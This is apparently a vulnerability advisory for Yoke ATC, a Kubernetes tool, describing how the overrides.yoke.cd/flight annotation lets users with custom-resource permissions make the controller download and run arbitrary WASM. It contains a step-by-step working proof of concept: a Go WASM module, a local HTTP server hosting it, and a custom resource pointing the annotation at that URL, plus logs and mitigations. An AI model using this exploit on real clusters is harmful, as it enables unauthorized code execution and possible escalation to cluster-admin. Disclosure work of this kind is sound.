Arbitrary WASM Code Execution via AnnotationOverrideFlight Injection in Yoke ATC

This vulnerability exists in the Air Traffic Controller (ATC) component of Yoke, a Kubernetes deployment tool. It allows users with CR create/update permissions to execute arbitrary WASM code in the ATC controller context by injecting a malicious URL through the overrides.yoke.cd/flight annotation. The ATC controller downloads and executes the WASM module without proper URL validation, enabling attackers to create arbitrary Kubernetes resources or potentially escalate privileges to cluster-admin level.

Recommended CWE: CWE-94 (Improper Control of Generation of Code - Code Injection)

Summary

Yoke ATC allows users to override the Flight WASM module URL via the overrides.yoke.cd/flight annotation on Custom Resources. The controller only checks if the user has update permission on airways resources but does not validate the WASM URL source. An attacker with CR create/update permissions can inject a malicious WASM URL, causing the ATC controller to download and execute arbitrary code.

Details

The vulnerability exists in two code paths:

Source Point - Annotation Definition (pkg/flight/flight.go:41-42):

const (
    AnnotationOverrideFlight = "overrides.yoke.cd/flight"
    AnnotationOverrideMode   = "overrides.yoke.cd/mode"
)

Sink Point 1 - Admission Webhook (cmd/atc/handler.go:298-300):

if overrideURL, _, _ := unstructured.NestedString(cr.Object, "metadata", "annotations", flight.AnnotationOverrideFlight); overrideURL != "" {
    xhttp.AddRequestAttrs(r.Context(), slog.Group("overrides", "flight", overrideURL))
    takeoffParams.Flight.Path = overrideURL  // User-provided URL used directly
}

Sink Point 2 - Reconciler (internal/atc/reconciler_instance.go:264-269):

if overrideURL, _, _ := unstructured.NestedString(resource.Object, "metadata", "annotations", flight.AnnotationOverrideFlight); overrideURL != "" {
    ctrl.Logger(ctx).Warn("using override module", "url", overrideURL)
    // Simply set the override URL as the flight path and let yoke load and execute the wasm module
    takeoffParams.Flight.Path = overrideURL  // User-provided URL used directly without validation
}

The permission check at cmd/atc/handler.go:160-177 only verifies update permission on airways resources, not the ability to execute arbitrary WASM code:

accessReview, err := params.Client.Clientset.AuthorizationV1().SubjectAccessReviews().Create(
    r.Context(),
    &authorizationv1.SubjectAccessReview{
        Spec: authorizationv1.SubjectAccessReviewSpec{
            ResourceAttributes: &authorizationv1.ResourceAttributes{
                Verb:     "update",
                Group:    "yoke.cd",
                Version:  "v1alpha1",
                Resource: "airways",  // Only checks airway update permission
            },
        },
    },
)

PoC

Environment Setup

Prerequisites:

• Docker installed and running
• kubectl installed
• Go 1.21+ installed
• kind installed

Step 1: Create Kind cluster

cat > /tmp/kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: yoke-vuln-test
nodes:
- role: control-plane
EOF

kind create cluster --config /tmp/kind-config.yaml

Step 2: Build and install Yoke CLI

# Clone yoke repository
git clone https://github.com/yokecd/yoke.git
cd yoke

# Build yoke CLI (patch version if needed for compatibility)
GOPROXY=direct GOSUMDB=off go build -o /tmp/yoke ./cmd/yoke

# Verify installation
/tmp/yoke version

Expected output:

╭───────────────────────────────┬──────────╮
│ yoke                          │ v0.18.0  │
│ toolchain                     │ go1.25.6 │
│ k8s.io/client-go              │ v0.34.1  │
│ github.com/tetratelabs/wazero │ v1.6.0   │
╰───────────────────────────────┴──────────╯

Step 3: Deploy ATC

/tmp/yoke takeoff --create-namespace --namespace atc -wait 120s atc oci://ghcr.io/yokecd/atc-installer:latest

Expected output:

Cluster-access not granted: enable cluster-access to reuse existing TLS certificates.
Generating TLS certificates, this may take a second...
Finished generating TLS certificates.
---
successful takeoff of atc

Step 4: Verify ATC deployment and permissions

kubectl get pods -n atc
kubectl get clusterrolebinding | grep atc

Expected output:

NAME                       READY   STATUS    RESTARTS   AGE
atc-atc-6d4bcb7665-wvqkt   1/1     Running   0          22s

atc-atc-cluster-role-binding   ClusterRole/cluster-admin   22s

Step 5: Deploy Backend Airway example

/tmp/yoke takeoff -wait 60s backendairway "https://github.com/yokecd/examples/releases/download/latest/atc_backend_airway.wasm.gz"

Expected output:

successful takeoff of backendairway

Exploitation Steps

Step 1: Create malicious WASM module

Create malicious-wasm.go:

// Malicious WASM module for VUL-001 vulnerability verification
package main

import (
    "encoding/json"
    "fmt"
)

func main() {
    // Create a ConfigMap to prove arbitrary code execution
    resource := map[string]interface{}{
        "apiVersion": "v1",
        "kind":       "ConfigMap",
        "metadata": map[string]interface{}{
            "name":      "stolen-credentials",
            "namespace": "default",
            "labels": map[string]string{
                "vulnerability": "VUL-001",
                "type":          "exfiltrated-token",
            },
        },
        "data": map[string]string{
            "vulnerability": "VUL-001: AnnotationOverrideFlight Injection allows arbitrary WASM execution",
            "proof":         "This ConfigMap was created by malicious WASM code",
        },
    }

    resources := []interface{}{resource}
    output, _ := json.Marshal(resources)
    fmt.Println(string(output))
}

Compile to WASM:

GOOS=wasip1 GOARCH=wasm go build -o malicious.wasm ./malicious-wasm.go

Step 2: Host malicious WASM

python3 -m http.server 8888 &

Step 3: Get host IP accessible from Kind cluster

HOST_IP=$(ip addr show docker0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1)
echo "Malicious WASM URL: http://${HOST_IP}:8888/malicious.wasm"

Step 4: Create malicious Backend CR

MALICIOUS_URL="http://${HOST_IP}:8888/malicious.wasm"

kubectl apply -f - <<EOF
apiVersion: examples.com/v1
kind: Backend
metadata:
  name: malicious-backend
  namespace: default
  annotations:
    overrides.yoke.cd/flight: "${MALICIOUS_URL}"
spec:
  image: nginx:latest
  replicas: 1
EOF

Expected output:

backend.examples.com/malicious-backend created

Step 5: Verify exploitation

Check ATC logs:

kubectl logs -n atc deployment/atc-atc | grep -i "override\|malicious"

Actual log output from verification:

{"time":"2026-02-01T13:58:30.4998068Z","level":"INFO","msg":"request served","component":"server","code":200,"method":"POST","path":"/validations/backends.examples.com","elapsed":"375ms","overrides":{"flight":"http://172.17.0.1:8888/malicious.wasm"},"validation":{"allowed":true,"status":""}}
{"time":"2026-02-01T13:56:33.826710613Z","level":"WARN","msg":"using override module","component":"controller","url":"http://172.17.0.1:8888/malicious.wasm"}

Check HTTP server logs (shows WASM download):

172.18.0.2 - - [01/Feb/2026 21:55:58] "GET /malicious.wasm HTTP/1.1" 200 -
172.18.0.2 - - [01/Feb/2026 21:56:32] "GET /malicious.wasm HTTP/1.1" 200 -
172.18.0.2 - - [01/Feb/2026 21:56:33] "GET /malicious.wasm HTTP/1.1" 200 -

Check created ConfigMap:

kubectl get configmap stolen-credentials -n default -o yaml

Actual output from verification:

apiVersion: v1
kind: ConfigMap
metadata:
  name: stolen-credentials
  namespace: default
  labels:
    vulnerability: VUL-001
    type: exfiltrated-token
    app.kubernetes.io/managed-by: atc.yoke
    instance.atc.yoke.cd/name: malicious-backend-v2
data:
  vulnerability: 'VUL-001: AnnotationOverrideFlight Injection allows arbitrary WASM execution'

Expected Result

The malicious WASM module is downloaded and executed by the ATC controller, creating a ConfigMap named stolen-credentials in the cluster. This proves arbitrary code execution in the ATC controller context.

Impact

Vulnerability Type: Remote Code Execution (RCE) / Code Injection

Attack Prerequisites:

• Attacker has permission to create/update Custom Resources managed by Yoke ATC
• Network access to host malicious WASM (can be external URL)

Impact Assessment:

• Confidentiality: High - Attacker can create resources to exfiltrate data; if ClusterAccess is enabled, can read cluster secrets via host functions
• Integrity: High - Attacker can create/modify arbitrary Kubernetes resources through WASM output
• Availability: Medium - Attacker can disrupt cluster operations by creating malicious resources

Attack Scenario:

1. CI/CD developer or application developer with CR permissions creates a Backend CR with malicious annotation
2. ATC controller downloads and executes attacker-controlled WASM
3. Malicious WASM creates backdoor resources or exfiltrates sensitive data
4. If ClusterAccess is enabled, attacker can read secrets and escalate to cluster-admin

Severity

CVSS v3.1 Score: 8.8 (High)

Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network - Malicious WASM can be hosted externally
• Attack Complexity (AC): Low - Simple annotation injection
• Privileges Required (PR): Low - Only CR create/update permission needed
• User Interaction (UI): None - Automatic execution on CR creation
• Scope (S): Unchanged - Impact within ATC controller context
• Confidentiality (C): High - Can access controller context data
• Integrity (I): High - Can create arbitrary resources
• Availability (A): High - Can disrupt cluster operations

Affected Versions

• Yoke ATC v0.18.x and earlier versions
• All versions that support the overrides.yoke.cd/flight annotation

Patched Versions

No patch available at time of disclosure.

Workarounds

1. Disable annotation override feature: Remove or disable the overrides.yoke.cd/flight annotation processing in production environments

2. Network policy: Restrict ATC controller's outbound network access to prevent downloading external WASM modules

3. RBAC hardening: Limit CR create/update permissions to trusted users only

4. Admission webhook: Deploy a validating webhook to reject CRs with overrides.yoke.cd/flight annotations

References

• Yoke Project: https://github.com/yokecd/yoke
• Yoke ATC Documentation: https://yokecd.github.io/docs/airtrafficcontroller/atc/
• CWE-94: Improper Control of Generation of Code: https://cwe.mitre.org/data/definitions/94.html

Credits

credit for: @b0b0haha ([email protected]) @lixingquzhi ([email protected])